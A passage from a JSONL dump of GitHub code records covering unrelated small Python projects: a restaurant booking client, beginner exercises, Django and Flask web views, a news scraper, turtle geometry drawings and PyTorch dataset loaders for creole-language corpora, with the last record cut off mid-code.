self.session.post(url, data=payload)\n self.log_request(r)\n\n try:\n data = r.json()\n\n # TODO: Log resy token and reservation DI\n return data\n except:\n pass\n","repo_name":"conorpbrady/resrvar","sub_path":"resrvar/bookingengine/resy.py","file_name":"resy.py","file_ext":"py","file_size_in_byte":5356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"28488687591","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Mar 11 19:03:55 2020\r\n\r\n@author: ROSHAN\r\n\"\"\"\r\n\r\ns = input(\"enter string = \")\r\n\r\nwords = s.split(\" \")\r\ns1=[]\r\nfor word in words:\r\n s1.insert(0,word)\r\n\r\nprint(\" \".join(s1))","repo_name":"Roshan021198/lab_0_1","sub_path":"reverse_word.py","file_name":"reverse_word.py","file_ext":"py","file_size_in_byte":218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"11824874649","text":"import sys\r\n\r\nfrom . import logger, main\r\n\r\nif sys.version_info < (3, 8, 0):\r\n print(\"Требуется Python 3.8 или выше\")\r\n sys.exit(1)\r\n\r\n\r\nfrom argparse import ArgumentParser\r\nimport asyncio\r\n\r\n\r\ndef parse_arguments():\r\n parser = ArgumentParser(\r\n prog=\"Seika\", description=\"Юзербот\",\r\n add_help=True\r\n )\r\n parser.add_argument(\"--list-optimizations\",\r\n action=\"store_true\",\r\n help=\"Вывести доступные оптимизации\",\r\n default=False\r\n )\r\n parser.add_argument(\"-n\",\r\n \"--no-optimizations\",\r\n action=\"store_false\",\r\n default=True,\r\n help=\"Выключить использование оптимизаций\"\r\n )\r\n return parser.parse_args()\r\n\r\n\r\nargs = parse_arguments()\r\n\r\nif args.list_optimizations:\r\n from . import optimizations\r\n optimizations_list = optimizations.apply_optimizations()\r\n print(f\"Доступно {len(optimizations_list)} оптимизаций:\")\r\n for o in optimizations_list:\r\n print(\" - \" + o)\r\n exit()\r\n\r\nif args.no_optimizations:\r\n from . import optimizations\r\n optimizations.apply_optimizations()\r\n\r\nif __name__ == \"__main__\":\r\n asyncio.run(main.main())\r\n","repo_name":"seojooner/seika","sub_path":"seika/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"19033544722","text":"\n\"\"\"Sample functions to use in ``inspect`` action.\"\"\"\n\nimport json\nimport logging\nimport re\nimport urllib.request\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_links(doc, match=''):\n \"\"\"Print     links, if regex string ``match`` matches.\n\n usage example:\n\n .. code-block:: none\n\n # print jpg files\n inspect= get_links?jpg$\n \"\"\"\n for text in doc.xpath('//a/@href'):\n m = re.search(match, text)\n if m:\n print(text)\n\n\ndef hackernews_topstories(doc):\n \"\"\"Print hackernews top stories and some data, all commented out.\n\n Querying https://github.com/HackerNews/API.\n (So it's not using ``doc`` argumant).\n\n 2022/04/30: quite slow (the API server itself is that way, I guess)\n\n usage example:\n\n .. code-block:: none\n\n # only when input is exactly the site home, no glob ('*')\n [hackernews_home]\n match= https://news.ycombinator.com\n inspect= hackernews_topstories\n \"\"\"\n def getjson(url):\n with urllib.request.urlopen(url) as f:\n data = f.read()\n return json.loads(data.decode(encoding='utf-8'))\n\n url = 'https://hacker-news.firebaseio.com/v0/topstories.json'\n topstories = getjson(url)[:50]\n\n title = '## TOSIXINCH: HACKERNEWS TOPSTORIES ##'\n heading = '## comments points ##'\n stories = [title, heading]\n\n for topstory in topstories:\n urlfmt = 'https://hacker-news.firebaseio.com/v0/item/%s.json'\n url = urlfmt % str(topstory)\n st = getjson(url)\n hnurl = 'https://news.ycombinator.com/item?id=%s' % str(topstory)\n if st.get('descendants', 0) < 5 or st['score'] < 5:\n continue\n story = '# %4s %4s\\n# %s\\n# %s\\n# %s\\n' % (\n st.get('descendants', '0'), st['score'], st['title'],\n st.get('url', ''), hnurl)\n stories.append(story)\n\n for s in stories:\n print(s)\n","repo_name":"openandclose/tosixinch","sub_path":"tosixinch/process/inspect_sample.py","file_name":"inspect_sample.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"22"} +{"seq_id":"40551395320","text":"\"\"\"\nWrite a method to replace all spaces in a string wih \"%20\". You may assume taht the string has sufficient space at the end to hold the characters and you are given the \"true\" length of the string.\n\nExample:\nInput \"Mr. John Smith \", 13\nOutput: \"Mr%20John%20Smith\"\n\n\"\"\"\n\n\ndef add_characters_to_string(string, length):\n pointer1 = length - 1\n characters = list(string)\n pointer2 = len(characters) - 1\n\n while pointer1 < pointer2:\n letter = characters[pointer1].isalpha()\n if letter:\n characters[pointer1], characters[pointer2] = (\n characters[pointer2],\n characters[pointer1],\n )\n pointer1 -= 1\n pointer2 -= 1\n\n space = characters[pointer1].isspace()\n if space:\n characters_to_add = \"%20\"\n characters[pointer2 - 2 : pointer2 + 1] = characters_to_add\n pointer2 -= 3\n pointer1 -= 1\n return \"\".join(characters)\n","repo_name":"amymhaddad/solve_it","sub_path":"cracking_the_coding_interview/urlify/urlify.py","file_name":"urlify.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"12928530371","text":"\"DRF Imports\"\nfrom lib2to3.refactor import RefactoringTool\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\n\n\"Python Imports\"\nimport json\n\n\"Local Imports\"\nfrom .serializers import EquipoSerializer\nfrom apps.equipos.models import Equipo\n\n@api_view(['GET', 'POST'])\ndef equipo_api_view(request):\n\n if request.method == 'GET':\n equipos = Equipo.objects.all()\n equipos_serializer = EquipoSerializer(equipos, many=True)\n return Response(equipos_serializer.data, status.HTTP_200_OK)\n\n elif request.method == 'POST':\n equipos_serializer = EquipoSerializer(data = request.data)\n if equipos_serializer.is_valid():\n equipos_serializer.save()\n return Response(equipos_serializer.data, status.HTTP_201_CREATED)\n return Response(equipos_serializer.errors, status.HTTP_400_BAD_REQUEST)\n\n@api_view(['GET', 'PUT', 'DELETE'])\ndef equipo_detail_api_view(request, pk):\n\n if request.method == 'GET':\n equipo = Equipo.objects.filter(id=pk).first()\n equipo_serializer = EquipoSerializer(equipo)\n return Response(equipo_serializer.data, status.HTTP_200_OK)\n\n elif request.method == 'PUT':\n equipo = Equipo.objects.filter(id=pk).first()\n equipo_serializer = EquipoSerializer(equipo, data = request.data)\n if equipo_serializer.is_valid():\n equipo_serializer.save()\n return Response(equipo_serializer.data, status.HTTP_200_OK)\n return Response(equipo_serializer.errors, status.HTTP_400_BAD_REQUEST)\n \n elif request.method == 'DELETE':\n equipo = Equipo.objects.filter(id=pk).first()\n equipo.delete()\n return Response({'message': 'Equipo eliminado'}, status.HTTP_200_OK)\n\n\n@api_view(['GET'])\ndef promedio_suplentes_api_view(request):\n promedio = Equipo.objects.promedio_suplentes_por_equipo()\n return Response({'Promedio_de_suplentes_por_equipo': promedio}, status.HTTP_200_OK)\n\n\n@api_view(['GET'])\ndef total_equipos_registrados_api_view(request):\n total_equipos_registrados = Equipo.objects.total_equipos_registrados()\n return Response({'Total_equipos_registrados': total_equipos_registrados}, status.HTTP_200_OK)\n\n\n@api_view(['GET'])\ndef equipo_mayor_numero_jugadores_api_view(request):\n equipo_mayor_numero_jugadores = Equipo.objects.equipo_mayor_numero_jugadores()\n return Response({'Equipo_mayor_numero_jugadores': equipo_mayor_numero_jugadores.nombre}, status.HTTP_200_OK)\n\n\n@api_view(['GET'])\ndef promedio_jugadores_equipo_api_view(request):\n promedio_jugadores_por_equipo = Equipo.objects.promedio_jugadores_por_equipo()\n return Response({'Promedio_jugadores_por_equipo': promedio_jugadores_por_equipo}, status.HTTP_200_OK)\n\n","repo_name":"wcreativo/DRF-FIFA-API","sub_path":"apps/equipos/api/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2780,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"4595192815","text":"\"\"\"\n쿠키랑은 다르게 세션은 서버에 저장되어있는 데이터입니다.\n세션은 서버의 임시 디렉토리에 저장되어 작동합니다. 각각의 \n클라이언트는 세션 ID를 부여받습니다. 암호화가 된 데이터이기\n때문에 Flask에서는 SECRET_KEY가 필요합니다.\n\"\"\"\n\nfrom flask import Flask, session, redirect, url_for, escape, request\n\napp=Flask(__name__)\napp.secret_key=\"asdfsdfg\"\n\n@app.route(\"/\")\ndef index():\n if \"username\" in session:\n username=session[\"username\"]\n return \"Logged in as \"+username+\"
    \"+\\\n \"    click here to log out\"\n return \"You are not logged in
    \"+\\\n \"click here to log in\"\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n if request.method==\"POST\":\n session[\"username\"]=request.form[\"username\"]\n return redirect(url_for(\"index\"))\n return \"\"\"\n
    \n

    \n

    \n
    \n \"\"\"\n\n@app.route(\"/logout\")\ndef logout():\n #유저가 세션 안에 있으면 삭제한다.\n session.pop(\"username\", None)\n return redirect(url_for(\"index\"))\n\nif __name__ ==\"__main__\":\n app.run(debug=True)","repo_name":"jjkim110523/flask_tutorial","sub_path":"flask_Sessions/flask_session.py","file_name":"flask_session.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"5096339988","text":"import datetime\n\nimport bs4\nimport requests\n\nfrom datasources.date_format import get_date\nfrom main import rq\n\n\n@rq.job(timeout=600)\ndef get_all_news(url):\n res = requests.get(url)\n soup = bs4.BeautifulSoup(res.text, \"html.parser\")\n images = soup.find_all('img', {'class': 'newslist__image'})\n news_link = soup.find_all('a', {'class': 'newslist__link'})\n links = []\n for i in news_link:\n link = i.attrs['href']\n link = link.strip('/press/news/')\n links.append(link)\n news_list = []\n i = 0\n for link in links:\n article = get_article(url, link)\n article.append(images[i].attrs['src'])\n news_list.append(article)\n i += 1\n return news_list\n\n\ndef get_article(url, link):\n result = requests.get(f'{url}{link}')\n soup = bs4.BeautifulSoup(result.text, \"html.parser\")\n title = soup.select('h1.pagetitle__content-title')\n pub_date = soup.select('div.pagetitle__content-date')\n article_data = []\n if len(pub_date) > 0:\n date_str = pub_date[0].getText()\n date_formatted = get_date(date_str)\n article_data.append(title[0].getText())\n article_data.append(date_formatted)\n now = datetime.datetime.now()\n article_data.append(now.strftime(\"%d-%m-%Y %H:%M\"))\n return article_data\n","repo_name":"helen-spring/metro-news","sub_path":"datasources/news.py","file_name":"news.py","file_ext":"py","file_size_in_byte":1304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"3130202761","text":"import numpy as np\r\n\r\ntimers = list(np.loadtxt(\"input_test.txt\", delimiter=\",\", dtype=int))\r\n\r\nfor day in range(18):\r\n n = len(timers)\r\n for i in range(n):\r\n if timers[i] == 0:\r\n timers.append(8)\r\n timers[i] = 6\r\n else:\r\n timers[i] -= 1\r\n \r\nprint(len(timers))\r\n","repo_name":"ardiloot/aoc_2021","sub_path":"06/task_a.py","file_name":"task_a.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"36427426349","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.shortcuts import render\n\n# Create your views here.\nfrom django.views import View\n\nfrom goods.models import *\nfrom django.core.paginator import Paginator\nimport math\n\n\nclass IndexView(View):\n def get(self, request, cid=2, num=1):\n\n cid = int(cid)\n num = int(num)\n\n # 查询所有类别信息\n categorys = Category.objects.all().order_by('id')\n\n # 查询当前类别下的所有商品信息\n goodsList = Goods.objects.filter(category_id=cid).order_by('id')\n\n # 分页（每页显示八条记录）\n pager = Paginator(goodsList, 8)\n\n # 获取当前页的数据\n page_goodsList = pager.page(num)\n\n # 每页开始页码\n begin = (num - int(math.ceil(10.0 / 2)))\n if begin < 1:\n begin = 1\n\n # 每页结束页码\n end = begin + 9\n if end > pager.num_pages:\n end = pager.num_pages\n\n if end <= 10:\n begin = 1\n else:\n begin = end - 9\n\n pagelist = range(begin, end + 1)\n\n return render(request, 'index.html',\n {'categorys': categorys, 'goodsList': page_goodsList, 'currentCid': cid, 'pagelist': pagelist,\n 'currentNum': num})\n","repo_name":"fbozhang/python","sub_path":"shop/goods/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1322,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"22"} +{"seq_id":"14113413582","text":"from proxy.txt_reader import TxtReader\n\n\nclass TxtProxyWriterReader:\n def __init__(self, file_path):\n self.__result = ''\n self.__is_actual = False\n self.__txt_reader = TxtReader(file_path)\n\n def read_file(self):\n if self.__is_actual:\n return self.__result\n else:\n self.__result = self.__txt_reader.read()\n self.__is_actual = True\n return self.__result\n\n\nif __name__ == '__main__':\n proxy_reader = TxtProxyWriterReader('my_file.txt')\n\n print(proxy_reader.read_file())\n print('\\n')\n print(proxy_reader.read_file())\n","repo_name":"bohdandovbsyh/patterns_example","sub_path":"proxy/txt_proxy_writer_reader.py","file_name":"txt_proxy_writer_reader.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"17015842886","text":"from turtle import *\n\n# carré\nfor i in range(4):\n forward(40)\n right(90)\n\n\nclear()\n\n# fonction carré\ndef carré():\n for i in range(4):\n forward(40)\n right(90)\n\ncarré()\nclear()\n\n# panneau\ndef panneau():\n forward(60)\n left(45)\n carré()\n right(45)\n backward(60)\n\npanneau()\nclear()\n\n# étoile à 8 branches\ndef étoile8():\n for i in range(8):\n panneau()\n left(360/8)\n \nétoile8()\nclear()\n\n# étoile à 11 branches\ndef étoile11():\n for i in range(11):\n panneau()\n left(360/11)\n \nétoile11()\nclear()\n\n# étoile quelconque\ndef étoile(n):\n for i in range(n):\n panneau()\n left(360/n)\n \nétoile(20)\nclear()\n\n# carré de taille quelconque\ndef carré(c):\n for i in range(4):\n forward(c)\n right(90) \n\ncarré(20)\nclear()\n\n# croix\ndef branche():\n taille = 100\n for i in range(5):\n carré(taille)\n forward(taille)\n taille -= 20\n backward(100 + 80 + 60 + 40 + 20)\n\ndef croix():\n for i in range(4):\n branche()\n left(90)\n\ncroix()\nclear()\n\n# triangle\ndef triangle(c):\n for i in range(3):\n forward(c)\n left(120)\n \ntriangle(100)\nclear()\n\n# heptagone\ndef heptagone(c):\n for i in range(7):\n forward(c)\n left(360/7)\n\nheptagone(100)\nclear()\n\n# polygone\ndef polygone(n, c):\n for i in range(n):\n forward(c)\n left(360/n)\n \npolygone(20, 50)\nclear()\n\n# ligne de polygones croissants\npenup()\ngoto(-200, 0)\npendown()\n\nfor i in range(3, 11):\n polygone(i, 40)\n forward(40)\n \nclear()\n\n# rosace d'octogones\ndef rosace8(c):\n for i in range(8):\n polygone(8, c)\n right(360/8)\n\nrosace8(50)\nclear()\n\n# rosace quelconque\ndef rosace(n, c):\n for i in range(n):\n polygone(n, c)\n right(360/n)\n\nrosace(20, 30)\nclear()\n\n# rosace en couleurs\ndef rosace_couleurs(n, c):\n couleurs = [\"black\", \"green\", \"blue\", \"red\", \"brown\", \"purple\", \"orange\", \"pink\"]\n for i in range(8):\n pencolor(couleurs[i])\n polygone(n, c)\n right(360/n)\n\nrosace_couleurs(8, 50)\nclear()\n\n# rosace en dégradé\ndef rosace_degrade(n, c):\n d = 0\n for i in range(n):\n pencolor((1-d, 0, d))\n polygone(n, c)\n right(360/n)\n d += 1/n\n\nrosace_degrade(8, 50)\nclear()\n\n# rosace pleine\ndef rosace_pleine(n, c):\n d = 0\n for i in range(n):\n fillcolor((1-d, 0, d))\n begin_fill()\n polygone(n, c)\n end_fill()\n right(360/n)\n d += 1/n\n \nrosace_pleine(8, 50)\nclear()\n\n# triangles emboites\ndef triangles_emboités(c):\n penup()\n goto(-100, -100)\n pendown()\n taille = c\n while taille >= 1:\n triangle(taille)\n forward(taille/2)\n left(60)\n taille /= 2\n\ntriangles_emboités(300)\nclear()\n\n# spirale\ndef spirale():\n d = 0.01\n for i in range(600):\n forward(d)\n right(5)\n d += 0.01\n \nspirale()\nclear()\n\n# spirale carrée\ndef spirale_carre(n):\n taille = 10\n for i in range(n):\n forward(taille)\n right(90)\n taille += 5\n\nspirale_carre(20)\nclear()\n\n# spirale polygonale\ndef spirale_polygone(n, m):\n taille = 10\n for i in range(n):\n forward(taille)\n right(360 / m)\n taille += 5\n\nspirale_polygone(20, 6)\nexitonclick()","repo_name":"estelledoriot/Turtle_geometrie","sub_path":"geometrie.py","file_name":"geometrie.py","file_ext":"py","file_size_in_byte":3338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"26287683691","text":"import os\nimport re\nimport string\nimport spacy\nimport json\nimport random\nimport pandas as pd\nfrom collections import defaultdict\n\nimport torch\nfrom torch.utils.data import Dataset\n\nfrom transformers import Trainer, TrainingArguments\nfrom transformers import BertForMaskedLM, AdamW, BertConfig\nfrom transformers.data.data_collator import DataCollatorForLanguageModeling\n\nimport en_core_web_sm\n\n# ==================================================================================================================== #\n# Data utils #\n# ==================================================================================================================== #\n\ndef split_sents(base_language, text_lines):\n \"\"\"\n :param base_language: \"en\" or \"fr\" for English or French\n :param text_lines: list['sentences', 'sentences']\n :return: list['sent', 'sent', 'sent']\n \"\"\"\n\n sentences = []\n\n if base_language == \"en\":\n nlp = en_core_web_sm.load() # spacy.load(\"en_cor_web_sm\")\n for text in text_lines:\n doc = nlp(text.strip())\n [sentences.append(s.text) for s in doc.sents]\n\n if base_language == \"fr\":\n for text in text_lines:\n [sentences.append(s.strip()) for s in re.split(\"\\s\\.\\s\", text)]\n #for s in re.split(\"\\s\\.\\s\", text):\n # clean_s = clean_sent(s)\n sentences = [s for s in sentences if s.strip() != \"\"]\n\n return sentences\n\n\ndef get_max_length(sentences, tokenizer):\n \"\"\"\n Get the max length for padding sentences\n :param sentences: list of sentences\n :return: max length of sentences\n \"\"\"\n max_len = 0\n for sent in sentences:\n input_ids = tokenizer.encode(sent, add_special_tokens=True)\n max_len = max(max_len, len(input_ids))\n print(f\" Max sent length: {max_len}\")\n return max_len\n\n\ndef tokenize_data(sentences, tokenizer, max_len):\n input_ids = []\n attention_masks = []\n for sent in sentences:\n encoded_dict = tokenizer.encode_plus(sent, add_special_tokens=True, max_length=max_len, pad_to_max_length=True,\n return_attention_mask=True, return_tensors='pt')\n input_ids.append(encoded_dict['input_ids'])\n attention_masks.append(encoded_dict['attention_mask'])\n # Convert the lists into tensors\n input_ids = torch.cat(input_ids, dim=0)\n attention_masks = torch.cat(attention_masks, dim=0)\n # Print sentence 0, now as a list of IDs.\n print('Original: ', sentences[0])\n print('Token IDs:', input_ids[0])\n\n return input_ids, attention_masks\n\n\n# ==================================================================================================================== #\n# Baseline #\n# ==================================================================================================================== #\n\nclass CreoleDataset(Dataset):\n def __init__(self, src_file, tokenizer, base_language=\"en\", nexamples=-1, evaluate=False):\n with open(src_file, \"r\", encoding=\"utf-8\") as input_file:\n entries = input_file.readlines()[:nexamples]\n\n self.base_language = base_language\n\n self.sentences = split_sents(base_language, entries)\n print(f\"NUMBER OF SENTENCES: {len(self.sentences)}\")\n self.max_len = get_max_length(self.sentences, tokenizer)\n input_ids, attention_masks = tokenize_data(self.sentences, tokenizer, self.max_len)\n\n self.examples = input_ids\n\n def __len__(self):\n return len(self.examples)\n\n def __getitem__(self, i):\n return torch.tensor(self.examples[i])\n\nclass CreoleJsonDataset(Dataset):\n def __init__(self, src_file, tokenizer, base_language=\"en\", nexamples=-1, evaluate=False, creole_only=False):\n with open(src_file, \"r\", encoding=\"utf-8\") as input_file:\n entries = json.load(input_file)[:nexamples] #list of dicts\n\n self.base_language = base_language\n\n self.sentences = []\n for subdict in entries:\n for sent, lang in subdict.items():\n if not creole_only:\n self.sentences.append(sent)\n else: #if we are only looking at creole-only (for evaluation) skip the other examples in the file.\n if lang in [\"singlish\", \"naija\", \"haitian\"]:\n self.sentences.append(sent)\n\n print(f\"NUMBER OF SENTENCES: {len(self.sentences)}\")\n self.max_len = 128 #get_max_length(self.sentences, tokenizer)\n input_ids, attention_masks = tokenize_data(self.sentences, tokenizer, self.max_len)\n\n self.examples = input_ids\n\n def __len__(self):\n return len(self.examples)\n\n def __getitem__(self, i):\n return torch.tensor(self.examples[i])\n\nclass SinglishSMSDataset(Dataset):\n def __init__(self, src_file, tokenizer, base_language=\"en\", nexamples=-1, evaluate=False):\n with open(src_file, \"r\") as input_file:\n corpus_json = json.load(input_file)\n\n self.base_language = base_language\n self.sentences = []\n for message in corpus_json['smsCorpus']['message']:\n sent = str(message['text']['$']).strip(\"\\n\")\n if \"\\n\" not in sent:\n self.sentences.append(sent)\n #self.sentences.append(str(message['text']['$']))\n\n print(f\"NUMBER OF SENTENCES: {len(self.sentences)}\")\n self.max_len = get_max_length(self.sentences, tokenizer)\n input_ids, attention_masks = tokenize_data(self.sentences, tokenizer, self.max_len)\n\n self.examples = input_ids\n\n\n def __len__(self):\n return len(self.examples)\n\n def __getitem__(self, i):\n #return torch.tensor(self.examples[i])\n #recommended by pytorch\n return self.examples[i].clone().detach()#.requires_grad_(True)\n\nclass NaijaUDDataset(Dataset):\n def __init__(self, src_dir, tokenizer):\n\n self.base_language = \"en\"\n self.sentences = []\n\n filenames = [f for f in os.listdir(src_dir) if f.endswith(\".conllu\")]\n for f in filenames:\n with open(os.path.join(src_dir, f), \"r\") as input:\n lines = input.readlines()\n for line in lines:\n if line.startswith(\"# text_ortho\"):\n clean_line = line[15:].strip() # take off '# text_ortho = ':\n self.sentences.append(clean_line)\n\n #FIXME: can not evaluate perplexity if we load the whole dataset\n # extended_path = os.path.join(path, \"non_gold\")\n # more_filenames = [f for f in os.listdir(extended_path) if f.endswith(\".conllu\")]\n # for f in more_filenames:\n # with open(os.path.join(extended_path, f), \"r\") as input:\n # lines = input.readlines()\n # for line in lines:\n # if line.startswith(\"# text_ortho\"):\n # clean_line = line[15:].strip()\n # sentences.append(clean_line)\n\n print(f\"NUMBER OF SENTENCES: {len(self.sentences)}\")\n self.max_len = get_max_length(self.sentences, tokenizer)\n print(f\"MAX SENTENCE LENGTH: {self.max_len}\")\n input_ids, attention_masks = tokenize_data(self.sentences, tokenizer, self.max_len)\n\n self.examples = input_ids\n\n def __len__(self):\n return len(self.examples)\n\n def __getitem__(self, i):\n return torch.tensor(self.examples[i])\n\nclass SinglishUDDataset(Dataset):\n def __init__(self, src_dir, tokenizer):\n self.base_language = \"en\"\n self.sentences = []\n\n files = [\"train.conll\", \"dev.conll\", \"test.conll\"]\n\n for f in files:\n full_path = os.path.join(src_dir, f)\n with open(full_path, \"r\") as indata:\n lines = indata.readlines()\n\n stack = []\n for line in lines:\n if line != \"\\n\":\n elems = line.split(\"\\t\")\n token = elems[1]\n stack.append(token)\n if line == \"\\n\":\n sent = \" \".join(stack)\n self.sentences.append(sent)\n stack = []\n print(f\"NUMBER OF SENTENCES: {len(self.sentences)}\")\n self.max_len = get_max_length(self.sentences, tokenizer)\n print(f\"MAX SENTENCE LENGTH: {self.max_len}\")\n input_ids, attention_masks = tokenize_data(self.sentences, tokenizer, self.max_len)\n\n self.examples = input_ids\n def __len__(self):\n return len(self.examples)\n\n def __getitem__(self, i):\n return torch.tensor(self.examples[i])\n\n\nclass HaitianEvalDatasets(Dataset):\n def __init__(self, src_dir, tokenizer):\n self.base_language = \"fr\"\n self.sentences = []\n\n # files = [\"1600_medical_domain_sentences.ht\", \"glossary-all-fix.ht\", \"newswire-all.ht\"]\n # for f in files:\n # full_path = os.path.join(src_dir, f)\n # with open(full_path, \"r\") as indata:\n # lines = indata.readlines()\n # for line in lines: #clean out examples length 1?\n # if len(line.split(\" \")) > 1:\n # self.sentences.append(line.strip(\"\\n\")) #already in sentences\n\n #evaluating haitian datasets sepperately ... >_>\n with open(src_dir, \"r\") as indata:\n lines = indata.readlines()\n for line in lines: #clean out examples length 1?\n if len(line.split(\" \")) > 1:\n self.sentences.append(line.strip(\"\\n\")) #already in sentences\n print(f\"NUMBER OF SENTENCES: {len(self.sentences)}\")\n self.max_len = get_max_length(self.sentences, tokenizer)\n print(f\"MAX SENTENCE LENGTH: {self.max_len}\")\n input_ids, attention_masks = tokenize_data(self.sentences, tokenizer, self.max_len)\n\n self.examples = input_ids\n def __len__(self):\n return len(self.examples)\n\n def __getitem__(self, i):\n return torch.tensor(self.examples[i])\n\nclass NaijaMasakhaneNERDataset(Dataset):\n def __init__(self, src_dir, tokenizer):\n self.base_language = \"en\"\n self.sentences = []\n\n files = [\"train.txt\", \"dev.txt\", \"test.txt\"]\n for f in files:\n full_path = os.path.join(src_dir, f)\n with open(full_path, \"r\") as indata:\n lines = indata.readlines()\n\n stack = []\n for l in lines:\n if l != \"\\n\":\n elems = l.split(\" \")\n token = elems[0]\n if token not in ['\"\"\"\"']:\n stack.append(token)\n if l == \"\\n\":\n self.sentences.append(\" \".join(stack))\n stack = []\n\n print(f\"NUMBER OF SENTENCES: {len(self.sentences)}\")\n self.max_len = get_max_length(self.sentences, tokenizer)\n print(f\"MAX SENTENCE LENGTH: {self.max_len}\")\n input_ids, attention_masks = tokenize_data(self.sentences, tokenizer, self.max_len)\n\n self.examples = input_ids\n def __len__(self):\n return len(self.examples)\n\n def __getitem__(self, i):\n return torch.tensor(self.examples[i])\n\n\n# ==================================================================================================================== #\n# WILDS #\n# ==================================================================================================================== #\nclass CreoleDatasetWILDS(Dataset):\n def __init__(self, base_dataset, tokenizer, group_strategy, group_file, creole, evaluate: bool = False):\n\n self.base_language = base_dataset.base_language\n self.creole = creole\n self.sentences = base_dataset.sentences\n self.max_len = base_dataset.max_len\n self.examples = base_dataset.examples\n\n self.y_size = base_dataset.examples.shape[1]\n\n self.is_classification = False\n\n #Input: self.sentences\n #Output: {metadata_df, identity_vars, metadata_array, metadata_fields, metadata_map}\n if group_strategy==\"collect\":\n self.metadata_df, self.identity_vars, self.metadata_array, self.metadata_fields, self.metadata_map = self.collect(sentences=self.sentences, group_file=group_file, creole=self.creole)\n #elif group_strategy==\"cluster\":\n # self.metadata_df, self.identity_vars, self.metadata_array, self.metadata_fields, self.metadata_map = self.cluster(sentences=self.sentences, group_file=group_file)\n #elif group_strategy==\"percent\":\n # self.metadata_df, self.identity_vars, self.metadata_array, self.metadata_fields, self.metadata_map = self.percent_base(sentences=self.sentences,group_file=group_file, base_language=self.base_language)\n elif group_strategy==\"language\": #a non-naive implementation of \"collect\"\n self.metadata_df, self.identity_vars, self.metadata_array, self.metadata_fields, self.metadata_map = self.language(sentences=self.sentences, group_file=group_file, creole=self.creole)\n elif group_strategy==\"random\":\n self.metadata_df, self.identity_vars, self.metadata_array, self.metadata_fields, self.metadata_map = self.random_groups(sentences=self.sentences)\n elif group_strategy==\"one\":\n self.metadata_df, self.identity_vars, self.metadata_array, self.metadata_fields, self.metadata_map = self.one_group(sentences=self.sentences)\n else:\n print(\"The grouping strategy that you tried to use does not exist\")\n raise NotImplementedError\n\n\n ##### extracting the y's, because WILDS-compatible data objects need this #####\n data_collator = DataCollatorForLanguageModeling(tokenizer=tokenizer, mlm=True, mlm_probability=0.15)\n temp_training_args = TrainingArguments(\n output_dir=\"./dummy\",\n overwrite_output_dir=True,\n num_train_epochs=1,\n per_gpu_train_batch_size=1,\n save_steps=10_000,\n save_total_limit=2,\n prediction_loss_only=True,\n )\n temp_trainer = Trainer(\n model=BertForMaskedLM.from_pretrained('bert-base-uncased'),\n args=temp_training_args,\n data_collator=data_collator,\n train_dataset=base_dataset\n )\n temp_loader = temp_trainer.get_train_dataloader()\n\n self.temp_xs = []\n self.temp_ys = []\n for batch in temp_loader:\n self.temp_xs.append(batch[\"input_ids\"])\n self.temp_ys.append(batch[\"labels\"])\n\n self.temp_xs = torch.cat(self.temp_xs)\n self.temp_ys = torch.cat(self.temp_ys)\n\n def __len__(self):\n return len(self.examples)\n\n def __getitem__(self, i):\n x = self.temp_xs[i]\n y = self.temp_ys[i]\n metadata = self.metadata_array[i]\n return x, y, metadata\n\n def collect(self, sentences, group_file, creole):\n creole_LUT = {\"singlish\": [\"en\", \"zh\", \"ms\", \"ta\"],\n \"haitian\": [\"fr\", \"yo\", \"es\"],\n \"naija\": [\"en\", \"yo\", \"pt\"]}\n\n sub_language_keys = creole_LUT[creole]\n columns = [\"x\"] + sub_language_keys\n\n dfdata_default = defaultdict(list)\n\n with open(group_file, 'r', encoding=\"utf-8\") as input_file:\n sentence_dict = json.loads(input_file.read())\n\n for sent, sent_dict in zip(sentences, sentence_dict):\n dfdata_default[\"x\"].append(sent)\n for s, language_dict in sent_dict.items():\n #print(f\"sent_dict is {sent_dict} (type({type(sent_dict)}))\")\n #print(f\"sent: {sent} is type {type(sent)}\")\n #language_dict = sentence_dict[sent]\n #dfdata_default[\"x\"].append(sent)\n assert sent == s\n\n for sub in sub_language_keys:\n score = language_dict[sub]\n dfdata_default[sub].append(score)\n\n dfdata = dict(dfdata_default)\n\n metadata_df = pd.DataFrame(dfdata, columns=columns)\n print(metadata_df.head)\n\n identity_vars = sub_language_keys\n metadata_fields = sub_language_keys\n\n metadata_array = torch.LongTensor((metadata_df.loc[:, identity_vars] >= .001).values) #if its at least 1%, then yes. otherwise no. \n\n metadata_map = {} #so... I could get all the unique values and say 0=no, and anything else=yes\n #to save for space, maybe we wanna round to 2 decimals :/ No, because it looks like the predictions are soooo low shewlkarj.\n for lang in sub_language_keys:\n 